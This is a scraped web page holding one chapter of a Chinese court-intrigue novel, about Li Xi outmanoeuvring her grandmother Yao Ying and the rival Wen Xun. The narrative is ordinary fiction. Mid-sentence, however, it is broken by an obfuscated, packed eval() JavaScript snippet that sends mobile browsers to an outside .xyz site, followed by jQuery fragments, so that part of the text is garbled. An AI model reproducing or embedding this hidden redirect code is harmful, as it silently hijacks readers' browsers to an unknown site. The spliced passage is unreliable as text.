默认冷灰
24号文字
方正启体

8. 祖孙默契

作者:点娥暴富本书字数:K更新时间:
    温逊去后,李希指尖摩挲着案上的茶盏,面色越发阴沉。


    余白青自殿后的屏风走出。


    “主上,当真要容忍温逊安插人手到我们底下吗?”


    “没得选。”她轻叹,“这一回,只能捏着鼻子认了。”


    说罢她望向余白青:


    “他的人既要进来,你就不能再留在宫中了,别叫他们看出了端倪。今日便出发去与无拂汇合吧。”


    赵如在几日前已经离开宫中,预备再以省亲的名义走官道于近日回京,假作是刚刚抵达。


    此时她应当正在京郊数着日子。


    余白青长叹一声。


    “狗贼害我!这都没能呆上几日!”


    李希闻言轻笑:


    “已经一月了。谁家的武官有你这么长的休沐?”


    “嘿嘿。”余白青凑到桌案另一头,“二娘笑了便好!我这不是担心嘛,我不在,谁来逗你开心。‘止泻药’成日只知道拿些有的没的来烦你,哪有我贴心?”止泻药是余白青给她姐妹余诃子起的亲切外号。


    李希大笑,伸了食指重重点了点她。


    “就你花言巧语。小盒子听见了揍不死你。”


    余白青耸耸肩:“那都是我让着她……”


    “说什么呢?”远远就听余诃子的声音伴着脚步走过来,“说我什么呢?我都听到了!”


    余白青顿时乖巧地坐好。


    “没说什么。就说我要走了,要给你送什么饯别礼呢。”


    余诃子闻言糯糯地哼了一声,竟有些不自在,撇了撇嘴道:


    “送什么礼呀,过两日不是又回来了……”


    “也是!”余白青松了口气,攥紧自己的小荷包忙道,“你说的很对那就不送了!”


    余诃子神色一滞,拳头紧了,分外危险道:


    “你耍我?!”


    李希一眨再一睁,眼见余诃子骑在余白青身上薅住她硕大一把头发。李希轻笑着摆手作势劝劝:


    “都不要这么暴躁,不要这么暴躁——”一边端着茶坐远了些。


    ***


    少府监。


    温逊搁笔将写好的木牍交给席旻。


    “传讯给庸言,中藏府之事先放一边,着他明日去长明宫报道。”


    席旻一愣。


    “兄长,咱们好不容易得此机会能明着放人入长明宫,二哥合适吗?”


    温逊的义弟席旻席疾威与温儒温庸言,前者是席年亲侄,被过继至席年膝下,作为他名义上的独子,他继承其父席年生前的另一官职,年纪轻轻便官拜九卿,任少府。后者则目前任中藏府令(1),掌宫中币帛金银诸货物。


    温儒性情温雅,为人最是良善谦和,但却不是擅于机变之人。


    温逊此时与席旻相对,漠然斜他一眼。


    “庸言不合适,莫非你更合适?”也不等席旻正要接话便补道,“只怕你有命去,无命回。”


    席旻讪讪闭了嘴。


    “官家此番不过一时退让,必有后招。你这性情,去了与她身边人再顶上一顶,这后招八成便落在你身上。庸言与你我不同,”温逊轻叹,“长明宫总不会讨厌他的。”


    如温逊所料,温儒的确是个不那么讨人慊的人。


    他调任至长明宫任御府令前,似是就预料到要遭受不少白眼,明明是个有品级有后台的宦者,被一众侍女呼来喝去遣到殿外洒扫也不生气,反是乖顺地低头做着手中活计,无论是被交代了什么。


    不仅如此,他还“倒楣”得有些可怜。


    前头,李希堪堪任了出身寒门的右扶风(2)冯威之妻佟初为女学司业,姚婴便已咂摸出她必是又和温无恪私下做了什么计较,一得了消息就叫长使推着火速赶来问罪。


    不巧,刚到章德殿外就碰上了个熟悉的身影。


    姚婴执掌天下多年,宫禁内外无所不知。一看那门口洒扫的清秀宦官,岂会认不出这正是那备受温逊爱护的义弟?


    太皇太后这下更是气不打一处来,当即寻了个由头就赐了他十鞭。


    李希也早自掖庭的耳目处,得知这素未谋面的温儒是何身份。


    正巧她心里还恼着自温逊那儿吃的这一鳖,又不想这会儿去触姚婴的霉头,硬是等外头消停了,人也抬下去了,才佯作一惊迎上去。


    “祖母这是怎么了?”


    姚婴这会儿若是双腿还健全必要给她一脚。


    “此时装傻晚了!”


    李希“噗通”一声跪下。


    “祖母我错了。”


    姚婴在前头那一通打完,怒气都被转移了大半,再见到李希已是迁怒多于愤怒,再给她这么一跪,竟觉出丝无语来。


    “错哪儿了?”


    “哪儿都错了。”


    姚婴兜头给了她一锤,力道没收着,一把就叫李希栽下来眼冒金星。姚婴年少时随军征战,后来伤了腿但底子仍在,那力道也非凡人轻易能抵。


    李希抱着脑袋似真似假的哼哼。


    “那温无恪是个什么东西,他的人你都敢放进自己宫里来!朕平日里真还是小瞧了你了啊!”


    李希又爬起来跪好。


    “祖母,”她嗫嚅着辩驳道,“我这也没放进来呀,这不是在外头放着呢嘛。我专给放在外头给祖母消气呢,这不是就用上了?”


    “我心里头可都是向着祖母的!有些事纯然是无奈之举。”她干脆便明示都是温逊所强迫了,“祖母人也打了,更该信我不是!”温逊的义弟来长明宫第一日就被打了,任谁看都是李希这长明宫之主难以交代的,除非她本就没打算交代,甚至还要借此向姚婴表诚意。


    这诚意姚婴暂且纳下了,转头想想还是气不过,抬手就要再捶,见李希可怜兮兮地缩回去,这回还是没下手。


    姚婴叹了口气。


    “你任了佟初做司业,往后诸博士、讲席都在她之下,世族女郎们岂能容忍。往后世族之中无人愿做讲席你当如何?各族可不会甘愿将女儿送至仅由寒门子弟教习的学宫!”


    李希心道,她的确恨不得女学讲席都是寒门女子,可这确然是局势所不能允许的,面对执掌世族的姚婴她也不能这样答。


    “祖母,女学司业有两人。就当是佟伯元代表寒门,可不是还有孙女吗?孙女也是司业,莫不是还不足以代表宗亲士族?”她瞥了瞥姚婴脸色续道,“再者,孙女以为寒门博士越多,士族博士自也会越多。”


    有了姚婴的重视,女学就是一个小朝堂,该有的党争一点也不会少。


    姚婴却不为所动:


    “可你并未请到陶佩,如何保证士族一恼,不会彻底放弃女学?”


    旁人或许不知,但姚婴心里门儿清,陶佩虽不学无术,但却不是一个傻的。她深知她的尊荣全然仰赖堂姐陶太后的喜恶。


    姚婴近年来对着陶太后表现得颇有些偏宠,于是外人多以为她们婆媳之间关系融洽紧密,而都不知实情其实恰恰相反,陶氏只怕对姚婴这婆母恨之入骨。


    这其中内情陶佩也知晓,使得她断不能与姚婴想要所推行之事有一丝瓜葛。


    陶佩此前被人问起是否出入女学时的断然否认,是切实认真的否认。只是她这回急迫的态度与往日性情相差太大,反而被李希拿捏曲解,起了反效。


    至于那曾被目睹出没于女学的身影到底是谁?谁都有可能,但定然不是陶佩。


    李希听得此问抬眸,目光明锐笃定道:


    “他们不会。”


    “为何?”


    “因为他们害怕。”


    姚婴一怔,便知她言下之意是倘若士族放弃,便可让寒门彻底占了女学上下师生之位。士族学子不愿来,寒门却也不缺女儿。


    给到士族的特权他们若是不接,又何须硬给?


    “你好大的胆子!”姚婴怒道。


    可李希丝毫不惧,因为她已经看穿了


    姚婴在意用女学为世家增添荣光,但也同样在意女学之所行本身,因为姚婴她也是女子啊。


    李希仅凭此就可以笃定姚婴不愿轻易放弃这次时机。


    李希叩首,再抬起却嘻嘻一笑:


    “孙女胆子不大,都是祖母给的。”


    李希在姚婴面前惯会讨巧卖乖,姚婴却偏还吃她这一套,见她如此放肆却坦诚,还以为这九曲心肠的孙女,终于放下些戒备,认识到她姚婴重视女学成败要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372789|184013||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    更过于世族寒门之争。


    这样一来,当祖母的自然也想要帮她一帮。


    殊不知这心眼子多似蜂窝的孙女心中想的,却是借此对姚婴表态,女学有了寒门的参与已不是可以随口叫停的,但倘若士族放手,却会叫寒门摘了一整个桃子。


    身为世家之首的姚婴自然应当做些什么,以免底下犯下如此大错?


    祖孙二人心思南辕北辙,却意外汇入了同一个结论——姚婴得帮!


    心满意足地送走了祖母,李希突然一阵心悸,好像是她久违的良心在痛。


    她召来余诃子。


    “伤员呢?”


    “安置在耳房了。”她停顿了会儿道,“席旻似乎对我们同温逊的事一无所知。我着人探查了一番,此人在明党之中……有几分特殊。”


    李希抬眉:


    “怎么说?”


    “他在明党之中地位颇高,但温无恪给他委派的活计却多数十分清闲,甚至可说是‘边缘化’。然而若要说是温无恪不喜这个义弟,刻意冷落,又不见得。一来是这温庸言在传闻中学识不浅,显然是精心教养过,二来是温无恪曾多次促成温儒参与明党清谈,让他大放异彩,隐有要给他在师门中争得一席之地的意思。”


    “莫不是,”李希猜道,“温逊在刻意让他避开朝中阴私,欲将他顶上明党的高位?”


    余诃子点头:“我也这么想。可是主上,他为何要派这么个人来长明宫呢?这样的人,既不适合传讯也不适合探听,甚至无法形成威慑。”


    李希皱眉,一时也无法揣度温逊的意图。


    那头余诃子忽又提道:


    “总不会是因为温儒近日在差事上碰了钉子,温逊便给他换个活计哄着吧?”


    这话怪怪的,李希追问了句。


    “是这样的,”余诃子解释道,“有消息说,温儒之前任中藏府令时,掌宫中币帛金银诸货物,今年却在丝帛供数上遇了难。”


    “为何?我记得今年桑蚕收成甚佳?”李希如今并无查阅各地呈文的权限,但多年来余白青在外也不单是跟随赵如修习兵事,更有助她打开四方言路之功。各地官衙的事李希不清楚,但仰赖于旁的运作,民间的事,她所知并不少。


    余诃子点头答道:


    “问题出在了青州。”


    如此李希便明白了。


    青州是本朝丝织最繁茂之地。本朝开国之初曾沿用旧朝制度,丝织工业、器物铸造皆由官营。


    到成帝时,姚婴意识到当朝因兵事不歇,致使府库空虚、役税苛重,急需休养生息,于是便放开部分物产,可由各地豪族承理。每年除宗室所需之外,余下规制可用于买卖。


    青州的丝织如今受临淄庄氏所控。虽非这一家独掌,却因其本家所在,占据青州丝织运输的必经之所,使得当地均以庄氏马首是瞻。


    “那庄氏是动了小心思了,竟打算克扣皇家要的东西。”


    “因为青州押着织物不放,如今内帑织造之数不足往年一半。”余诃子续道。


    李希指尖在案上轻敲:


    “这倒也无?。先帝刚去,宫中如今人少,本也用不上那么多。不过那庄氏族长是以什么缘由在拖着?总不能连个名义都不给。”


    余诃子很是无语地答道:


    “庄祈说,玄历有云,近三月不宜出行。”


    “……如此荒唐”李希笑出了声。“不过放在青州却切实有效。”只因为青州近年来玄教盛行,当地黎庶多为信徒。


    庄祈既然放出了这话来,只怕即便官府尝试绕开他,都无法在当地征得足够数目的脚夫。没有脚夫完成前头数十里到驿亭的运送,亭官便无法接手余下的陆路与漕运事宜。


    “不过如此一来,他应当是意在拖延,而非强占。”


    余诃子闻言大悟。


    “那难道温逊未曾看出来吗?若庄氏只是拖延,他把温儒摘出原职放到咱们这儿来并无必要。”


    “想来他还有别的谋算。”李希拧眉道。


    左右眼下也想不明白,余诃子便提议道:


    “不如把温儒叫来直接探探?”


    李希闻言双眉一抬,颇为讶异的回望她。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)